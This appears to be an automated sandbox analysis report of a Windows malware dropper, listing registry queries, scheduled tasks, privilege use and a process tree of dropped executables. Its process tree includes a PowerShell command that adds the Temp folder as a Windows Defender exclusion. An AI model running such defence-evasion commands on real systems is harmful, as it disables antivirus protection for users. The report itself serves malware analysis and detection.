WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6100 schtasks.exe 2076 schtasks.exe 6516 schtasks.exe 5168 schtasks.exe 2676 schtasks.exe -
Enumerates system info in registry 2 TTPs 32 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4216 ipconfig.exe 7556 ipconfig.exe -
Kills process with taskkill 8 IoCs
pid Process 5428 taskkill.exe 6372 taskkill.exe 6372 taskkill.exe 1448 taskkill.exe 5428 taskkill.exe 6432 taskkill.exe 3484 taskkill.exe 5572 taskkill.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe -
Runs ping.exe 1 TTPs 5 IoCs
pid Process 4768 PING.EXE 1584 PING.EXE 6788 PING.EXE 3388 PING.EXE 2856 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3608 powershell.exe 3608 powershell.exe 5044 WerFault.exe 5044 WerFault.exe 3608 powershell.exe 5988 3628421.exe 5988 3628421.exe 6048 WerFault.exe 6048 WerFault.exe 6084 WerFault.exe 6084 WerFault.exe 5336 WerFault.exe 5336 WerFault.exe 5180 7834874.exe 5180 7834874.exe 5556 WerFault.exe 5556 WerFault.exe 5664 WerFault.exe 5664 WerFault.exe 5476 3677026.exe 5476 3677026.exe 1236 1708477.exe 1236 1708477.exe 5180 7834874.exe 5180 7834874.exe 3684 cmd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe 4752 Tue16497809b6bd.exe 4752 Tue16497809b6bd.exe 3684 cmd.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3232 Explorer.EXE -
Suspicious behavior: MapViewOfSection 7 IoCs
pid Process 2064 UKvz5eOfl1XWdPO4I9RJuOnx.exe 3136 lnVaeZE8zGv_bNi1VqiSXJtV.exe 3136 lnVaeZE8zGv_bNi1VqiSXJtV.exe 3136 lnVaeZE8zGv_bNi1VqiSXJtV.exe 2064 UKvz5eOfl1XWdPO4I9RJuOnx.exe 2064 UKvz5eOfl1XWdPO4I9RJuOnx.exe 6904 09YiuYZ42R21QouIHA7C9O4_.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeAssignPrimaryTokenPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeLockMemoryPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeIncreaseQuotaPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeMachineAccountPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeTcbPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeSecurityPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeTakeOwnershipPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeLoadDriverPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeSystemProfilePrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeSystemtimePrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeProfSingleProcessPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeIncBasePriorityPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeCreatePagefilePrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeCreatePermanentPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeBackupPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeRestorePrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeShutdownPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeDebugPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeAuditPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeSystemEnvironmentPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeChangeNotifyPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeRemoteShutdownPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeUndockPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeSyncAgentPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeEnableDelegationPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeManageVolumePrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeImpersonatePrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: SeCreateGlobalPrivilege 3168 Tue165ec2d1de4f1ae98.exe Token: 31 3168 Tue165ec2d1de4f1ae98.exe Token: 32 3168 Tue165ec2d1de4f1ae98.exe Token: 33 3168 Tue165ec2d1de4f1ae98.exe Token: 34 3168 Tue165ec2d1de4f1ae98.exe Token: 35 3168 Tue165ec2d1de4f1ae98.exe Token: SeDebugPrivilege 2896 Tue1647cedf7bf133.exe Token: SeDebugPrivilege 3608 powershell.exe Token: SeRestorePrivilege 5044 WerFault.exe Token: SeBackupPrivilege 5044 WerFault.exe Token: SeDebugPrivilege 3784 Tue160598ce8b05.exe Token: SeDebugPrivilege 5572 taskkill.exe Token: SeDebugPrivilege 5476 3677026.exe Token: SeDebugPrivilege 5428 InstallUtil.exe Token: SeDebugPrivilege 1236 1708477.exe Token: SeDebugPrivilege 5988 3628421.exe Token: SeShutdownPrivilege 5332 svchost.exe Token: SeCreatePagefilePrivilege 5332 svchost.exe Token: SeShutdownPrivilege 5332 svchost.exe Token: SeCreatePagefilePrivilege 5332 svchost.exe Token: SeShutdownPrivilege 5332 svchost.exe Token: SeCreatePagefilePrivilege 5332 svchost.exe Token: SeShutdownPrivilege 1456 svchost.exe Token: SeCreatePagefilePrivilege 1456 svchost.exe Token: SeDebugPrivilege 5180 7834874.exe Token: SeIncreaseQuotaPrivilege 3608 powershell.exe Token: SeSecurityPrivilege 3608 powershell.exe Token: SeTakeOwnershipPrivilege 3608 powershell.exe Token: SeLoadDriverPrivilege 3608 powershell.exe Token: SeSystemProfilePrivilege 3608 powershell.exe Token: SeSystemtimePrivilege 3608 powershell.exe Token: SeProfSingleProcessPrivilege 3608 powershell.exe Token: SeIncBasePriorityPrivilege 3608 powershell.exe Token: SeCreatePagefilePrivilege 3608 powershell.exe Token: SeBackupPrivilege 3608 powershell.exe Token: SeRestorePrivilege 3608 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 6688 setup.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2588 wrote to memory of 5056 2588 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 80 PID 2588 wrote to memory of 5056 2588 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 80 PID 2588 wrote to memory of 5056 2588 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 80 PID 5056 wrote to memory of 1576 5056 setup_installer.exe 81 PID 5056 wrote to memory of 1576 5056 setup_installer.exe 81 PID 5056 wrote to memory of 1576 5056 setup_installer.exe 81 PID 1576 wrote to memory of 2684 1576 setup_install.exe 85 PID 1576 wrote to memory of 2684 1576 setup_install.exe 85 PID 1576 wrote to memory of 2684 1576 setup_install.exe 85 PID 1576 wrote to memory of 4488 1576 setup_install.exe 86 PID 1576 wrote to memory of 4488 1576 setup_install.exe 86 PID 1576 wrote to memory of 4488 1576 setup_install.exe 86 PID 1576 wrote to memory of 3376 1576 setup_install.exe 102 PID 1576 wrote to memory of 3376 1576 setup_install.exe 102 PID 1576 wrote to memory of 3376 1576 setup_install.exe 102 PID 1576 wrote to memory of 2724 1576 setup_install.exe 87 PID 1576 wrote to memory of 2724 1576 setup_install.exe 87 PID 1576 wrote to memory of 2724 1576 setup_install.exe 87 PID 1576 wrote to memory of 4376 1576 setup_install.exe 101 PID 1576 wrote to memory of 4376 1576 setup_install.exe 101 PID 1576 wrote to memory of 4376 1576 setup_install.exe 101 PID 1576 wrote to memory of 2840 1576 setup_install.exe 88 PID 1576 wrote to memory of 2840 1576 setup_install.exe 88 PID 1576 wrote to memory of 2840 1576 setup_install.exe 88 PID 1576 wrote to memory of 4948 1576 setup_install.exe 89 PID 1576 wrote to memory of 4948 1576 setup_install.exe 89 PID 1576 wrote to memory of 4948 1576 setup_install.exe 89 PID 1576 wrote to memory of 3200 1576 setup_install.exe 90 PID 1576 wrote to memory of 3200 1576 setup_install.exe 90 PID 1576 wrote to memory of 3200 1576 setup_install.exe 90 PID 1576 wrote to memory of 3424 1576 setup_install.exe 100 PID 1576 wrote to memory of 3424 1576 setup_install.exe 100 PID 1576 wrote to memory of 3424 1576 setup_install.exe 100 PID 1576 wrote to memory of 3988 1576 setup_install.exe 91 PID 1576 wrote to memory of 3988 1576 setup_install.exe 91 PID 1576 wrote to memory of 3988 1576 setup_install.exe 91 PID 3376 wrote to memory of 3784 3376 cmd.exe 99 PID 3376 wrote to memory of 3784 3376 cmd.exe 99 PID 3376 wrote to memory of 3784 3376 cmd.exe 99 PID 1576 wrote to memory of 4980 1576 setup_install.exe 97 PID 1576 wrote to memory of 4980 1576 setup_install.exe 97 PID 1576 wrote to memory of 4980 1576 setup_install.exe 97 PID 2724 wrote to memory of 4752 2724 cmd.exe 98 PID 2724 wrote to memory of 4752 2724 cmd.exe 98 PID 2724 wrote to memory of 4752 2724 cmd.exe 98 PID 4488 wrote to memory of 3796 4488 cmd.exe 96 PID 4488 wrote to memory of 3796 4488 cmd.exe 96 PID 4488 wrote to memory of 3796 4488 cmd.exe 96 PID 1576 wrote to memory of 3196 1576 setup_install.exe 92 PID 1576 wrote to memory of 3196 1576 setup_install.exe 92 PID 1576 wrote to memory of 3196 1576 setup_install.exe 92 PID 1576 wrote to memory of 920 1576 setup_install.exe 95 PID 1576 wrote to memory of 920 1576 setup_install.exe 95 PID 1576 wrote to memory of 920 1576 setup_install.exe 95 PID 1576 wrote to memory of 2008 1576 setup_install.exe 94 PID 1576 wrote to memory of 2008 1576 setup_install.exe 94 PID 1576 wrote to memory of 2008 1576 setup_install.exe 94 PID 1576 wrote to memory of 1172 1576 setup_install.exe 93 PID 1576 wrote to memory of 1172 1576 setup_install.exe 93 PID 1576 wrote to memory of 1172 1576 setup_install.exe 93 PID 3988 wrote to memory of 3052 3988 cmd.exe 113 PID 3988 wrote to memory of 3052 3988 cmd.exe 113 PID 3988 wrote to memory of 3052 3988 cmd.exe 113 PID 2840 wrote to memory of 4360 2840 cmd.exe 112
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3232 -
C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2588 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1576 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:2684
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3608
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1607c6ec89.exe5⤵
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1607c6ec89.exeTue1607c6ec89.exe6⤵
- Executes dropped EXE
PID:3796 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1607c6ec89.exeC:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1607c6ec89.exe7⤵
- Executes dropped EXE
PID:5136
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16497809b6bd.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue16497809b6bd.exeTue16497809b6bd.exe6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4752 -
C:\Users\Admin\Pictures\Adobe Films\EpyKzbOlbi5kHRidjTHfnWDr.exe"C:\Users\Admin\Pictures\Adobe Films\EpyKzbOlbi5kHRidjTHfnWDr.exe"7⤵
- Executes dropped EXE
PID:2284
-
-
C:\Users\Admin\Pictures\Adobe Films\KXfj5qcRId9ipGFQtwdnTSSA.exe"C:\Users\Admin\Pictures\Adobe Films\KXfj5qcRId9ipGFQtwdnTSSA.exe"7⤵
- Executes dropped EXE
PID:3892
-
-
C:\Users\Admin\Pictures\Adobe Films\RrINyxmfAIH8qSdPxvfU53Bg.exe"C:\Users\Admin\Pictures\Adobe Films\RrINyxmfAIH8qSdPxvfU53Bg.exe"7⤵
- Executes dropped EXE
PID:5224 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5224 -s 2768⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4160
-
-
-
C:\Users\Admin\Pictures\Adobe Films\yd1wjFIyldpnznziuZrW7QjQ.exe"C:\Users\Admin\Pictures\Adobe Films\yd1wjFIyldpnznziuZrW7QjQ.exe"7⤵PID:3000
-
-
C:\Users\Admin\Pictures\Adobe Films\RI3y29xMdEwDKxT9zRdk4Jvn.exe"C:\Users\Admin\Pictures\Adobe Films\RI3y29xMdEwDKxT9zRdk4Jvn.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5952
-
-
C:\Users\Admin\Pictures\Adobe Films\p4U0ePoH2exEuS7eHAnroMLx.exe"C:\Users\Admin\Pictures\Adobe Films\p4U0ePoH2exEuS7eHAnroMLx.exe"7⤵
- Executes dropped EXE
PID:6136 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6136 -s 2768⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1760
-
-
-
